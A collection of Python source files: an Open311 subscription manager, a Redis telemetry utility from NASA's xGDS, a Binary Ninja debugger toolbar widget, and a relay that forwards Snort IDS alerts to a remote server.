logger.warning('Notifier "%s" not loaded - Notifiers must implement the function send_notifications(notifications, options)' % module_name)
else:
notifiers[method].append(module)
return notifiers
def subscribe(request_id, method, address):
'''
Create a new subscription the request identified by request_id.
@param request_id: The request to subscribe to
@param method: The type of subscription (e.g. 'email' or 'sms')
@param address: The adress to send updates to (e.g. 'someone@example.com' or '63055512345')
'''
# TODO: validate the subscription by seeing if the request_id exists via Open311?
with db() as session:
subscription = get_subscription(request_id, method, address)
if subscription:
return subscription.key
else:
subscription = Subscription(
sr_id=request_id,
method=method,
contact=address)
session.add(subscription)
# If we haven't ever updated, set the last update date
last_update_info = session.query(UpdateInfoItem).filter(UpdateInfoItem.key == 'date').first()
if not last_update_info:
# TODO: get the SR's updated_datetime and use that
session.add(UpdateInfoItem(key='date', value=datetime.datetime.now()))
return subscription.key
return False
def get_subscription(request_id, method, address):
'''
Get the subscription associated with a given request_id, method, and address
@param request_id: The request to subscribe to
@param method: The type of subscription (e.g. 'email' or 'sms')
@param address: The adress to send updates to (e.g. 'someone@example.com' or '63055512345')
'''
with db() as session:
existing = session.query(Subscription).\
filter(Subscription.sr_id == request_id).\
filter(Subscription.method == method).\
filter(Subscription.contact == address).\
first()
return existing
def subscription_exists(request_id, method, address):
'''
Check whether a subscription already exists for the given request id with the specified method and address.
@param request_id: The request to subscribe to
@param method: The type of subscription (e.g. 'email' or 'sms')
@param address: The adress to send updates to (e.g. 'someone@example.com' or '63055512345')
'''
return get_subscription(request_id, method, address) != None
def subscription_for_key(unique_id):
'''
Get a subscription object associated with a given unique key.
'''
with db() as session:
subscription = session.query(Subscription).filter(Subscription.key == unique_id).first()
return subscription
return None
def unsubscribe(request_id, method, address):
'''
Remove a subscription if it exists
@param request_id: The request to subscribe to
@param method: The type of subscription (e.g. 'email' or 'sms')
@param address: The adress to send updates to (e.g. 'someone@example.com' or '63055512345')
'''
with db() as session:
existing = session.query(Subscription).\
filter(Subscription.sr_id == request_id).\
filter(Subscription.method == method).\
filter(Subscription.contact == address).\
first()
if existing:
session.delete(existing)
return True
return False
def unsubscribe_with_key(unique_id):
'''
Remove a subscription with a given key if it exists.
Returns true if the subscription existed and was removed and false otherwise.
@param unique_id: The key for the subscription to remove
'''
with db() as session:
subscription = session.query(Subscription).filter(Subscription.key == unique_id).first()
if subscription:
session.delete(subscription)
return True
return False
def initialize():
with db() as session:
# Ensure we have a last updated date
last_update_info = session.query(UpdateInfoItem).filter(UpdateInfoItem.key == 'date').first()
a_subscription = session.query(Subscription).first()
if a_subscription and not last_update_info:
# this is an invalid state! Could raise an error, but just attempt to repair for now
# default to 12am this morning for endpoints that update daily
start_date = datetime.datetime.combine(datetime.date.today(), datetime.time())
session.add(UpdateInfoItem(key='date', value=start_date))
logger.warning('Found a subscription but no last updated time.\nSetting last update to %s', start_date)
def initialize_db():
with db() as session:
db.create(Base)
try:
session.execute('ALTER TABLE subscriptions ADD key character varying')
session.execute('CREATE UNIQUE INDEX ON subscriptions (key)')
except:
print 'Failed to add "key" column to subscriptions. It is probably already present.'
finally:
session.commit()
print 'Adding keys for any subscriptions without them...'
added_keys = 0
for subscription in session.query(Subscription).all():
if not subscription.key:
subscription.key = subscription.generate_uuid()
added_keys += 1
print 'Added %d keys.' % added_keys
if __name__ == "__main__":
parser = OptionParser()
parser.add_option("-i", "--initialize", dest="initialize_db", action="store_true", help="Initialize the database.")
parser.add_option("-c", "--config", dest="config_path", help="Path to a configuration file.")
# parser.add_option("-d", "--date", dest="start_date", help="Start datetime in the format 'YYYY-MM-DDTHH:MM:SS'", default=None)
(options, args) = parser.parse_args()
configure(options.config_path)
if options.initialize_db:
initialize_db()
else:
initialize()
poll_and_notify()
else:
config = configure()
|
redis_utils.py | #!/usr/bin/env python
# __BEGIN_LICENSE__
# Copyright (c) 2015, United States Government, as represented by the
# Administrator of the National Aeronautics and Space Administration.
# All rights reserved.
#
# The xGDS platform is licensed under the Apache License, Version 2.0
# (the "License"); you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0.
#
# Unless required by applicable law or agreed to in writing, software distributed
# under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR
# CONDITIONS OF ANY KIND, either express or implied. See the License for the
# specific language governing permissions and limitations under the License.
# __END_LICENSE__
import redis
import heapq
import bisect
import datetime
import threading
import inspect
import os
from time import sleep
import traceback
import django
django.setup()
from django.conf import settings
from django.db import connection, OperationalError
from xgds_core.flightUtils import get_default_vehicle, get_vehicle, getActiveFlight
from xgds_core.util import persist_error
def reconnect_db():
print 'Lost db connection, retrying'
# reset db connection
connection.close()
connection.connect()
def patch_yaml_path(options):
"""
Prepend the path to this script to the yaml paths
:param options: the options that have a yaml path
:return: the options with the yaml patched
"""
if '/' not in options['config_yaml']:
dir_name = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))
options['config_yaml'] = os.path.join(dir_name, options['config_yaml'])
return options
def ensure_vehicle(options):
"""
Ensure there is a vehicle in the options, uses the default if there is none
:param options:
:return: options
"""
if 'vehicle' not in options or not options['vehicle']:
options['vehicle'] = get_default_vehicle().name
return options
def lookup_active_flight(options):
"""
Looks up a flight given the options
:param options: a dictionary, should contain the vehicle or it will use the default vehicle
:return: the found flight, and the flight name and vehicle name in options
"""
if 'vehicle' not in options:
vehicle = get_default_vehicle()
options['vehicle'] = vehicle.name
else:
vehicle = get_vehicle(options['vehicle'])
flight = getActiveFlight(vehicle)
if not flight:
options['flight'] = None
else:
options['flight'] = flight.name
return flight
def interpolate(t, t1, value1, t2, value2, unwrap=False):
if value1 is None or value2 is None:
return None
a = (t - t1).total_seconds() / (t2 - t1).total_seconds()
if type(value1) is datetime.datetime and type(value2) is datetime.datetime:
return value1 + datetime.timedelta(seconds=a * (value2 - value1).total_seconds())
elif type(value1) is float and type(value2) is float:
if unwrap:
diff = value2 - value1
if diff > 180:
diff -= 360
if diff < -180:
diff += 360
return (value1 + a * diff) % 360
else:
return value1 + a * (value2 - value1)
else:
# TODO: define other types for which we can reasonably interpolate values (e.g. integers)
# TODO: figure out what to do for types where we can't reasonably interpolate values (boolean, string, classes, etc.)
return value1
class TelemetryQueue:
def __init__(self, channel_name, sleep_time=0.005):
self.channel_name = channel_name
self.sleep_time = sleep_time
# Redis connection
self.r = redis.Redis(host=settings.XGDS_CORE_REDIS_HOST, port=settings.XGDS_CORE_REDIS_PORT)
# Redis subscription & confirmation
self.ps = self.r.pubsub(ignore_subscribe_messages=True)
# subscription request:
if str == type(channel_name):
channel_name = [channel_name]
for cn in channel_name:
self.ps.subscribe(cn)
# check_for_msg() is a non-blocking call
def check_for_msg(self):
msg = self.ps.get_message()
if msg is not None:
retval = msg['data']
return retval
return None
# returns a generator that blocks until each next message arrives
def listen(self):
return self.ps.listen()
class TelemetrySaver(object):
def __init__(self, options):
self.config = options
# redis subscription, sleep loop, buffering, saving records are general
self.sleep_time = 0.005
if 'sleep_time' in options:
self.sleep_time = options['sleep_time']
self.channel_name = options['channel_name']
self.buffer = []
if 'buffer_time_sec' in options:
self.config['buffer_time_sec'] = options['buffer_time_sec']
self.last_write_time = datetime.datetime.utcnow()
thread = threading.Thread(target=self.run)
thread.daemon = True
thread.start()
def do_write_buffer(self):
print 'saving %d models from %s' % (len(self.buffer), self.channel_name)
model = type(self.buffer[0])
if model is not None:
try:
model.objects.bulk_create(self.buffer)
except Exception as e:
persist_error(e, traceback.format_exc())
self.buffer = []
self.last_write_time = datetime.datetime.utcnow()
def write_buffer(self):
if len(self.buffer) > 0:
try:
self.do_write_buffer()
except OperationalError:
# try again
reconnect_db()
self.do_write_buffer()
except Exception as e:
print e
for entry in self.buffer:
print entry
# If we couldn't write it before we won't be able to next time
# truncate the buffer or it will grow forever
self.buffer = []
def deserialize(self, message):
# Parse an incoming message and return a django object,
# a list of django objects, or None. Subclasses need to
# define this method, there is no generic version
return None
def handle_msg(self, msg):
obj = self.deserialize(msg)
# The result should be None, a model object, or a list of model objects
if obj is not None:
if type(obj) is list:
if obj:
self.buffer.extend(obj)
# see if we should broadcast
model = type(obj[0])
if hasattr(model, 'broadcast'):
for m in obj:
m.broadcast()
else:
self.buffer.append(obj)
# see if we should broadcast
if hasattr(obj, 'broadcast'):
obj.broadcast()
def run(self):
print '%s listener started' % self.channel_name
tq = TelemetryQueue(self.channel_name)
while True:
sleep(self.sleep_time)
# Each time through:
# * check for a new message; if there is one deserialize and buffer it
# * check the buffer length; if it's long enough write buffer to the DB
# * check the last write time; if it was long enough write buffer to the DB
# Check for a message; if there is one deserialize and buffer it
msg = tq.check_for_msg()
if msg is not None:
self.handle_msg(msg)
# Check how long it's been and write if it's been too long
if 'buffer_time_sec' in self.config and self.last_write_time:
dt = (datetime.datetime.utcnow() - self.last_write_time).total_seconds()
if dt >= self.config['buffer_time_sec']:
self.write_buffer()
# Check the buffer length and write if too long
if 'buffer_length' in self.config:
if len(self.buffer) >= self.config['buffer_length']:
self.write_buffer()
class TimestampedItemQueue(object):
def __init__(self):
self.queue = []
def append(self, timestamp, item):
heapq.heappush(self.queue, (timestamp, item))
def get_closest_before(self, timestamp):
idx = bisect.bisect(self.queue, (timestamp, None))
if 0 == idx:
# throw an exception? this shouldn't happen given how we plan to use this
return None
(ts, item) = self.queue[idx - 1]
return item
def get_closest_after(self, timestamp):
idx = bisect.bisect(self.queue, (timestamp, None))
if idx > len(self.queue):
return None
(ts, item) = self.queue[idx]
return item
def delete_before(self, timestamp):
while len(self.queue) > 1 and self.queue[0][0] < timestamp:
heapq.heappop(self.queue)
def len(self):
return len(self.queue)
|
ControlsWidget.py | import binaryninja
from PySide2 import QtCore
from PySide2.QtCore import Qt
from PySide2.QtWidgets import QApplication, QHBoxLayout, QVBoxLayout, QLabel, QWidget, QPushButton, QLineEdit, QToolBar, QToolButton, QMenu, QAction
from binaryninja import execute_on_main_thread_and_wait
from binaryninjaui import ViewFrame
import threading
import traceback
import sys
from . import AdapterSettingsDialog
from .. import binjaplug, DebugAdapter
class DebugControlsWidget(QToolBar):
def __init__(self, parent, name, data, debug_state):
if not type(data) == binaryninja.binaryview.BinaryView:
raise Exception('expected widget data to be a BinaryView')
self.bv = data
self.debug_state = debug_state
QToolBar.__init__(self, parent)
# TODO: Is there a cleaner way to do this?
self.setStyleSheet("""
QToolButton{padding: 4px 14px 4px 14px; font-size: 14pt;}
QToolButton:disabled{color: palette(alternate-base)}
""")
self.actionRun = QAction("Run", self)
self.actionRun.triggered.connect(lambda: self.perform_run())
self.actionRestart = QAction("Restart", self)
self.actionRestart.triggered.connect(lambda: self.perform_restart())
self.actionQuit = QAction("Quit", self)
self.actionQuit.triggered.connect(lambda: self.perform_quit())
self.actionAttach = QAction("Attach", self)
self.actionAttach.triggered.connect(lambda: self.perform_attach())
self.actionDetach = QAction("Detach", self)
self.actionDetach.triggered.connect(lambda: self.perform_detach())
self.actionSettings = QAction("Settings...", self)
self.actionSettings.triggered.connect(lambda: self.perform_settings())
self.actionPause = QAction("Pause", self)
self.actionPause.triggered.connect(lambda: self.perform_pause())
self.actionResume = QAction("Resume", self)
self.actionResume.triggered.connect(lambda: self.perform_resume())
self.actionStepIntoAsm = QAction("Step Into (Assembly)", self)
self.actionStepIntoAsm.triggered.connect(lambda: self.perform_step_into_asm())
self.actionStepIntoIL = QAction("Step Into", self)
self.actionStepIntoIL.triggered.connect(lambda: self.perform_step_into_il())
self.actionStepOverAsm = QAction("Step Over (Assembly)", self)
self.actionStepOverAsm.triggered.connect(lambda: self.perform_step_over_asm())
self.actionStepOverIL = QAction("Step Over", self)
self.actionStepOverIL.triggered.connect(lambda: self.perform_step_over_il())
self.actionStepReturn = QAction("Step Return", self)
self.actionStepReturn.triggered.connect(lambda: self.perform_step_return())
# session control menu
self.controlMenu = QMenu("Process Control", self)
self.controlMenu.addAction(self.actionRun)
self.controlMenu.addAction(self.actionRestart)
self.controlMenu.addAction(self.actionQuit)
self.controlMenu.addSeparator()
self.controlMenu.addAction(self.actionAttach)
self.controlMenu.addAction(self.actionDetach)
self.controlMenu.addSeparator()
self.controlMenu.addAction(self.actionSettings)
self.stepIntoMenu = QMenu("Step Into", self)
self.stepIntoMenu.addAction(self.actionStepIntoIL)
self.stepIntoMenu.addAction(self.actionStepIntoAsm)
self.stepOverMenu = QMenu("Step Over", self)
self.stepOverMenu.addAction(self.actionStepOverIL)
self.stepOverMenu.addAction(self.actionStepOverAsm)
self.btnControl = QToolButton(self)
self.btnControl.setMenu(self.controlMenu)
self.btnControl.setPopupMode(QToolButton.MenuButtonPopup)
self.btnControl.setToolButtonStyle(Qt.ToolButtonTextBesideIcon)
self.btnControl.setDefaultAction(self.actionRun)
self.addWidget(self.btnControl)
# execution control buttons
self.addAction(self.actionPause)
self.addAction(self.actionResume)
self.btnStepInto = QToolButton(self)
self.btnStepInto.setMenu(self.stepIntoMenu)
self.btnStepInto.setPopupMode(QToolButton.MenuButtonPopup)
self.btnStepInto.setToolButtonStyle(Qt.ToolButtonTextBesideIcon)
self.btnStepInto.setDefaultAction(self.actionStepIntoIL)
self.addWidget(self.btnStepInto)
self.btnStepOver = QToolButton(self)
self.btnStepOver.setMenu(self.stepOverMenu)
self.btnStepOver.setPopupMode(QToolButton.MenuButtonPopup)
self.btnStepOver.setToolButtonStyle(Qt.ToolButtonTextBesideIcon)
self.btnStepOver.setDefaultAction(self.actionStepOverIL)
self.addWidget(self.btnStepOver)
# TODO: Step until returning from current function
self.addAction(self.actionStepReturn)
self.threadMenu = QMenu("Threads", self)
self.btnThreads = QToolButton(self)
self.btnThreads.setMenu(self.threadMenu)
self.btnThreads.setPopupMode(QToolButton.InstantPopup)
self.btnThreads.setToolButtonStyle(Qt.ToolButtonTextOnly)
self.addWidget(self.btnThreads)
self.set_thread_list([])
self.editStatus = QLineEdit('INACTIVE', self)
self.editStatus.setReadOnly(True)
self.editStatus.setAlignment(QtCore.Qt.AlignCenter)
self.addWidget(self.editStatus)
# disable buttons
self.set_actions_enabled(Run=self.can_exec(), Restart=False, Quit=False, Attach=self.can_connect(), Detach=False, Pause=False, Resume=False, StepInto=False, StepOver=False, StepReturn=False)
self.set_resume_pause_action("Pause")
self.set_default_process_action("Attach" if self.can_connect() else "Run")
def __del__(self):
# TODO: Move this elsewhere
# This widget is tasked with cleaning up the state after the view is closed
# binjaplug.delete_state(self.bv)
pass
def can_exec(self):
return DebugAdapter.ADAPTER_TYPE.use_exec(self.debug_state.adapter_type)
def can_connect(self):
return DebugAdapter.ADAPTER_TYPE.use_connect(self.debug_state.adapter_type)
def perform_run(self):
def perform_run_thread():
try:
self.debug_state.run()
execute_on_main_thread_and_wait(perform_run_after)
except ConnectionRefusedError:
execute_on_main_thread_and_wait(lambda: perform_run_error('ERROR: Connection Refused'))
except Exception as e:
execute_on_main_thread_and_wait(lambda: perform_run_error('ERROR: ' + ' '.join(e.args)))
traceback.print_exc(file=sys.stderr)
def perform_run_after():
self.state_stopped()
self.debug_state.ui.on_step()
def perform_run_error(e):
self.state_error(e)
self.state_starting('STARTING')
threading.Thread(target=perform_run_thread).start()
def perform_restart(self):
def perform_restart_thread():
try:
self.debug_state.restart()
execute_on_main_thread_and_wait(perform_restart_after)
except ConnectionRefusedError:
execute_on_main_thread_and_wait(lambda: perform_restart_error('ERROR: Connection Refused'))
except Exception as e:
execute_on_main_thread_and_wait(lambda: perform_restart_error('ERROR: ' + ' '.join(e.args)))
traceback.print_exc(file=sys.stderr)
def perform_restart_after():
self.state_stopped()
self.debug_state.ui.on_step()
def perform_restart_error(e):
self.state_error(e)
self.state_starting('RESTARTING')
threading.Thread(target=perform_restart_thread).start()
def perform_quit(self):
self.debug_state.quit()
self.state_inactive()
self.debug_state.ui.on_step()
def perform_attach(self):
def perform_attach_thread():
try:
self.debug_state.attach()
execute_on_main_thread_and_wait(perform_attach_after)
except ConnectionRefusedError:
execute_on_main_thread_and_wait(lambda: perform_attach_error('ERROR: Connection Refused'))
except TimeoutError:
execute_on_main_thread_and_wait(lambda: perform_attach_error('ERROR: Connection Refused'))
except Exception as e:
execute_on_main_thread_and_wait(lambda: perform_attach_error('ERROR: ' + ' '.join(e.args)))
traceback.print_exc(file=sys.stderr)
def perform_attach_after():
self.state_stopped()
self.debug_state.ui.on_step()
def perform_attach_error(e):
self.state_error(e)
self.state_starting('ATTACHING')
threading.Thread(target=perform_attach_thread).start()
def perform_detach(self):
self.debug_state.detach()
self.state_inactive()
self.debug_state.ui.on_step()
def perform_settings(self):
def settings_finished():
if self.debug_state.running:
self.state_running()
elif self.debug_state.connected:
local_rip = self.debug_state.local_ip
if self.debug_state.bv.read(local_rip, 1) and len(self.debug_state.bv.get_functions_containing(local_rip)) > 0:
self.state_stopped()
else:
self.state_stopped_extern()
else:
self.state_inactive()
dialog = AdapterSettingsDialog.AdapterSettingsDialog(self, self.bv)
dialog.show()
dialog.finished.connect(settings_finished)
def perform_pause(self):
self.debug_state.pause()
# Don't update state here-- one of the other buttons is running in a thread and updating for us
def perform_resume(self):
def perform_resume_thread():
(reason, data) = self.debug_state.go()
execute_on_main_thread_and_wait(lambda: perform_resume_after(reason, data))
def perform_resume_after(reason, data):
self.handle_stop_return(reason, data)
self.debug_state.ui.on_step()
self.state_running()
threading.Thread(target=perform_resume_thread).start()
def perform_step_into_asm(self):
def perform_step_into_asm_thread():
(reason, data) = self.debug_state.step_into()
execute_on_main_thread_and_wait(lambda: perform_step_into_asm_after(reason, data))
def perform_step_into_asm_after(reason, data):
self.handle_stop_return(reason, data)
self.debug_state.ui.on_step()
self.state_busy("STEPPING")
threading.Thread(target=perform_step_into_asm_thread).start()
def perform_step_into_il(self):
disasm = self.debug_state.ui.debug_view.binary_editor.getDisassembly()
graph_type = disasm.getGraphType()
def perform_step_into_il_thread():
(reason, data) = self.debug_state.step_into(graph_type)
execute_on_main_thread_and_wait(lambda: perform_step_into_il_after(reason, data))
def perform_step_into_il_after(reason, data):
self.handle_stop_return(reason, data)
self.debug_state.ui.on_step()
self.state_busy("STEPPING")
threading.Thread(target=perform_step_into_il_thread).start()
def perform_step_over_asm(self):
def perform_step_over_asm_thread():
(reason, data) = self.debug_state.step_over()
execute_on_main_thread_and_wait(lambda: perform_step_over_asm_after(reason, data))
def perform_step_over_asm_after(reason, data):
self.handle_stop_return(reason, data)
self.debug_state.ui.on_step()
self.state_busy("STEPPING")
threading.Thread(target=perform_step_over_asm_thread).start()
def perform_step_over_il(self):
disasm = self.debug_state.ui.debug_view.binary_editor.getDisassembly()
graph_type = disasm.getGraphType()
def perform_step_over_il_thread():
(reason, data) = self.debug_state.step_over(graph_type)
execute_on_main_thread_and_wait(lambda: perform_step_over_il_after(reason, data))
def perform_step_over_il_after(reason, data):
self.handle_stop_return(reason, data)
self.debug_state.ui.on_step()
self.state_busy("STEPPING")
threading.Thread(target=perform_step_over_il_thread).start()
def perform_step_return(self):
def perform_step_return_thread():
(reason, data) = self.debug_state.step_return()
execute_on_main_thread_and_wait(lambda: perform_step_return_after(reason, data))
def perform_step_return_after(reason, data):
self.handle_stop_return(reason, data)
self.debug_state.ui.on_step()
self.state_busy("STEPPING")
threading.Thread(target=perform_step_return_thread).start()
def set_actions_enabled(self, **kwargs):
def enable_step_into(e):
self.actionStepIntoAsm.setEnabled(e)
self.actionStepIntoIL.setEnabled(e)
def enable_step_over(e):
self.actionStepOverAsm.setEnabled(e)
self.actionStepOverIL.setEnabled(e)
def enable_starting(e):
self.actionRun.setEnabled(e and self.can_exec())
self.actionAttach.setEnabled(e and self.can_connect())
def enable_stopping(e):
self.actionRestart.setEnabled(e)
self.actionQuit.setEnabled(e)
self.actionDetach.setEnabled(e)
def enable_stepping(e):
self.actionStepIntoAsm.setEnabled(e)
self.actionStepIntoIL.setEnabled(e)
self.actionStepOverAsm.setEnabled(e)
self.actionStepOverIL.setEnabled(e)
self.actionStepReturn.setEnabled(e)
actions = {
"Run": lambda e: self.actionRun.setEnabled(e),
"Restart": lambda e: self.actionRestart.setEnabled(e),
"Quit": lambda e: self.actionQuit.setEnabled(e),
"Attach": lambda e: self.actionAttach.setEnabled(e),
"Detach": lambda e: self.actionDetach.setEnabled(e),
"Pause": lambda e: self.actionPause.setEnabled(e),
"Resume": lambda e: self.actionResume.setEnabled(e),
"StepInto": enable_step_into,
"StepOver": enable_step_over,
"StepReturn": lambda e: self.actionStepReturn.setEnabled(e),
"Threads": lambda e: self.btnThreads.setEnabled(e),
"Starting": enable_starting,
"Stopping": enable_stopping,
"Stepping": enable_stepping,
}
for (action, enabled) in kwargs.items():
actions[action](enabled)
def set_default_process_action(self, action):
actions = {
"Run": self.actionRun,
"Restart": self.actionRestart,
"Quit": self.actionQuit,
"Attach": self.actionAttach,
"Detach": self.actionDetach,
}
self.btnControl.setDefaultAction(actions[action])
def set_resume_pause_action(self, action):
self.actionResume.setVisible(action == "Resume")
self.actionPause.setVisible(action == "Pause")
def set_thread_list(self, threads):
def select_thread_fn(tid):
def select_thread(tid):
stateObj = binjaplug.get_state(self.bv)
if stateObj.connected and not stateObj.running:
stateObj.threads.current = tid
stateObj.ui.context_display()
stateObj.ui.on_step()
else:
print('cannot set thread in current state')
return lambda: select_thread(tid)
self.threadMenu.clear()
if len(threads) > 0:
for thread in threads:
item_name = "Thread {} at {}".format(thread['tid'], hex(thread['ip']))
action = self.threadMenu.addAction(item_name, select_thread_fn(thread['tid']))
if thread['selected']:
self.btnThreads.setDefaultAction(action)
else:
defaultThreadAction = self.threadMenu.addAction("Thread List")
defaultThreadAction.setEnabled(False)
self.btnThreads.setDefaultAction(defaultThreadAction)
def state_starting(self, msg=None):
self.editStatus.setText(msg or 'INACTIVE')
self.set_actions_enabled(Starting=False, Stopping=False, Stepping=False, Pause=False, Resume=False, Threads=False)
self.set_default_process_action("Attach" if self.can_connect() else "Run")
self.set_thread_list([])
self.set_resume_pause_action("Pause")
def state_inactive(self, msg=None):
self.editStatus.setText(msg or 'INACTIVE')
self.set_actions_enabled(Starting=True, Stopping=False, Stepping=False, Pause=False, Resume=False, Threads=False)
self.set_default_process_action("Attach" if self.can_connect() else "Run")
self.set_thread_list([])
self.set_resume_pause_action("Pause")
def state_stopped(self, msg=None):
self.editStatus.setText(msg or 'STOPPED')
self.set_actions_enabled(Starting=False, Stopping=True, Stepping=True, Pause=True, Resume=True, Threads=True)
self.set_default_process_action("Quit")
self.set_resume_pause_action("Resume")
def state_stopped_extern(self, msg=None):
self.editStatus.setText(msg or 'STOPPED')
self.set_actions_enabled(Starting=False, Stopping=True, Stepping=True, StepReturn=False, Pause=True, Resume=True, Threads=True)
self.set_default_process_action("Quit")
self.set_resume_pause_action("Resume")
def state_running(self, msg=None):
self.editStatus.setText(msg or 'RUNNING')
self.set_actions_enabled(Starting=False, Stopping=True, Stepping=False, Pause=True, Resume=False, Threads=False)
self.set_default_process_action("Quit")
self.set_resume_pause_action("Pause")
def state_busy(self, msg=None):
self.editStatus.setText(msg or 'RUNNING')
self.set_actions_enabled(Starting=False, Stopping=True, Stepping=False, Pause=True, Resume=False, Threads=False)
self.set_default_process_action("Quit")
self.set_resume_pause_action("Pause")
def state_error(self, msg=None):
self.editStatus.setText(msg or 'ERROR')
self.set_actions_enabled(Starting=True, Stopping=False, Pause=False, Resume=False, Stepping=False, Threads=False)
self.set_default_process_action("Attach" if self.can_connect() else "Run")
self.set_thread_list([])
self.set_resume_pause_action("Resume")
def handle_stop_return(self, reason, data):
if reason == DebugAdapter.STOP_REASON.STDOUT_MESSAGE:
self.state_stopped('stdout: '+data)
elif reason == DebugAdapter.STOP_REASON.PROCESS_EXITED:
self.debug_state.quit()
self.state_inactive('process exited, return code=%d' % data)
elif reason == DebugAdapter.STOP_REASON.BACKEND_DISCONNECTED:
self.debug_state.quit()
self.state_inactive('backend disconnected (process exited?)')
|
pigrelay.py | import os
import sys
import time
import socket
import logging
import six
import requests
sys.path.append('/home/vagrant/secapp/pigrelay/')
import alert
import json
import yaml
import argparse
import pickle
from Queue import Queue
from threading import Thread
from abc import ABCMeta, abstractmethod
from flask_jsonrpc.proxy import ServiceProxy
from snort import SnortDaemon
from truffle import TruffleServer
logging.basicConfig(level=logging.INFO, filename='pig.out', format='%(asctime)s %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
logger = logging.getLogger(__name__)
BUFSIZE = 65863
# TODO: Parse network headers, simply alert structure.
class SnortListener():
"""
Open the UNIX socket to receive alerts from the local snort server.
"""
def __init__(self, sockfile):
self.unsock = None
self.sockfile = sockfile
self.running = True
def start_recv(self, out_q):
print "Start recv"
if os.path.exists(self.sockfile):
os.unlink(self.sockfile)
self.unsock = socket.socket(socket.AF_UNIX, socket.SOCK_DGRAM)
self.unsock.bind(self.sockfile)
logger.info("Unix Domain Socket listening...")
self.recv_loop_producer(out_q)
def recv_loop_producer(self, out_q):
print "Recv loop producer"
while self.running:
time.sleep(0.01)
data = self.unsock.recv(BUFSIZE)
if data:
logger.debug("Send {0} bytes of data.".format
(sys.getsizeof(data)))
# data == 65900 byte
out_q.put(data)
def stop(self):
self.running = False
class SnortRelay():
"""
Abstract SnortRelay.
"""
__metaclass__ = ABCMeta
@abstractmethod
def start_send(self, in_q):
pass
class RawSnortRelay(SnortRelay):
"""
Sends raw alerts over a network socket
"""
def __init__(self, address, port):
self.nwsock = None
self.daddr = address
self.dport = port
self.running = True
def start_send(self, in_q):
self.nwsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
self.nwsock.connect((self.daddr, self.dport))
except Exception, e:
logger.info("Network socket connection error: %s" % e)
sys.exit()
logger.info("Network socket sending...")
self._send_loop_consumer(in_q)
def _send_loop_consumer(self, in_q):
while self.running:
data = in_q.get()
self.nwsock.sendall(data)
time.sleep(0.01)
logger.info("Send the alert messages.")
def stop(self):
self.running = False
class ParsedSnortRelay(SnortRelay):
"""
Base Parsed Sender, doesnt actually send anything.
"""
def __init__(self, verify=True):
self.verify = verify
self.running = True
def start_send(self, in_q):
logger.info("Start send")
self._send_loop_consumer(in_q)
def _send_event_to_server(self, msg):
pass
def _send_loop_consumer(self, in_q):
logger.info("Send loop consumer")
buf = six.binary_type()
while self.running:
ret = in_q.get()
buf += ret
while len(buf) >= BUFSIZE:
logger.info("Received buffer size: %d", len(buf))
data = buf[:BUFSIZE]
msg = alert.AlertPkt.parser(data)
if msg:
try:
self._send_event_to_server(msg)
except Exception as e:
logger.info('Exception: ' + str(e))
buf = buf[BUFSIZE:]
def stop(self):
self.running = False
class HttpSnortRelay(ParsedSnortRelay):
"""
Send Alert as HTTP binary data
"""
def __init__(self, address, port, verify=True):
ParsedSnortRelay.__init__(self, verify)
self.daddr = address
self.dport = port
def start_send(self, in_q):
logger.info("Start send")
self._send_loop_consumer(in_q)
def _send_event_to_server(self, msg):
logger.info('Sending snort alert')
url = ''.join([self.daddr, ':', str(self.dport)])
data = pickle.dumps(msg)
response = requests.post(url + '/snort/alert',
data=data,
verify=self.verify,
headers={'Content-Type':
'application/octet-stream'})
logger.info(str(response))
class JsonRPCSnortRelay(ParsedSnortRelay):
"""
Send alert to sever as JSON-RPC
"""
def __init__(self, verify=True):
self.verify = verify
self.daddr = config['address']
self.dport = config['port']
url = ''.join(['http://', self.daddr,
':',
str(self.dport),
'/api'])
server = ServiceProxy(url)
def start_send(self, in_q):
print "Start send"
self._send_loop_consumer(in_q)
def send_event_to_server(self, msg):
result = server.App.post()
class PigrelayDaemon():
"""
Instance of the relay, creates instances of the listener and the sender.
"""
def __init__(self, sockfile, address, port):
self.sockfile = sockfile
self.address = address
self.port = port
self.q = Queue()
self.snort_listener = SnortListener(self.sockfile)
self.snort_relay = HttpSnortRelay(self.address, self.port)
self.listen = Thread(target=self.snort_listener.start_recv, args=(self.q, ))
self.relay = Thread(target=self.snort_relay.start_send, args=(self.q, ))
self.listen.setDaemon(True)
self.relay.setDaemon(True)
def start(self):
# Launch the threads
self.listen.start()
self.relay.start()
def join(self):
self.listen.join()
self.relay.join()
def stop(self):
self.snort_relay.stop()
self.snort_listener.stop()
def snort_start(snort_conf):
snort_rules = snort_conf['rule_config']
snort_interface = snort_conf['interface']
snort_template = None
if 'base_rule_config' in snort_conf:
snort_template = snort_conf['base_rule_config']
print '%s %s %s' % (snort_rules, snort_interface, snort_template)
snort = SnortDaemon(snort_rules, snort_interface, template=snort_template)
snort.start()
return snort
def add_snort_to_onos(snort_conf, onos_conf):
snort_ip = snort_conf['address']
url = onos_conf['address'] + ":" + str(onos_conf['port']) + '/mervyn/snort/add/' + snort_ip
print url
response = requests.get(url)
print response
def truffle_start(snort, truffle_conf):
print truffle_conf.keys()
truffle_address = truffle_conf['address']
truffle_port = truffle_conf['port']
truffle = TruffleServer(snort, truffle_address, truffle_port)
truffle.setDaemon(True)
truffle.start()
return truffle
def pigrelay_start(pig_conf):
pig_sock = pig_conf['socket_file']
pig_address = pig_conf['alert_server']['address']
pig_port = pig_conf['alert_server']['port']
pig = PigrelayDaemon(pig_sock, pig_address, pig_port)
pig.start()
return pig
if __name__ == '__main__':
"""
Main
"""
if not os.geteuid() == 0:
sys.exit("You need root permissions to start snort.")
parser = argparse.ArgumentParser()
parser.add_argument("-c", "--config",
default="examples/config.yaml",
type=str,
help="path to YAML configuration file")
args = parser.parse_args()
config = None
try:
with open(args.config, 'r') as ymlfile:
config = yaml.load(ymlfile)
except:
logger.info('Config file "%s" doesn\'t exist.' % (args.config, ))
sys.exit(-1)
snort = snort_start(config['snort'])
add_snort_to_onos(config['snort'], config['onos'])
truffle = truffle_start(snort, config['truffle'])
pig = pigrelay_start(config['pigrelay'])
try:
while True:
time.sleep(1)
except KeyboardInterrupt as ki:
logger.info('Stopping Snort...')
snort.stop()
logger.info('Stopping Pig Relay...')
pig.stop()
|
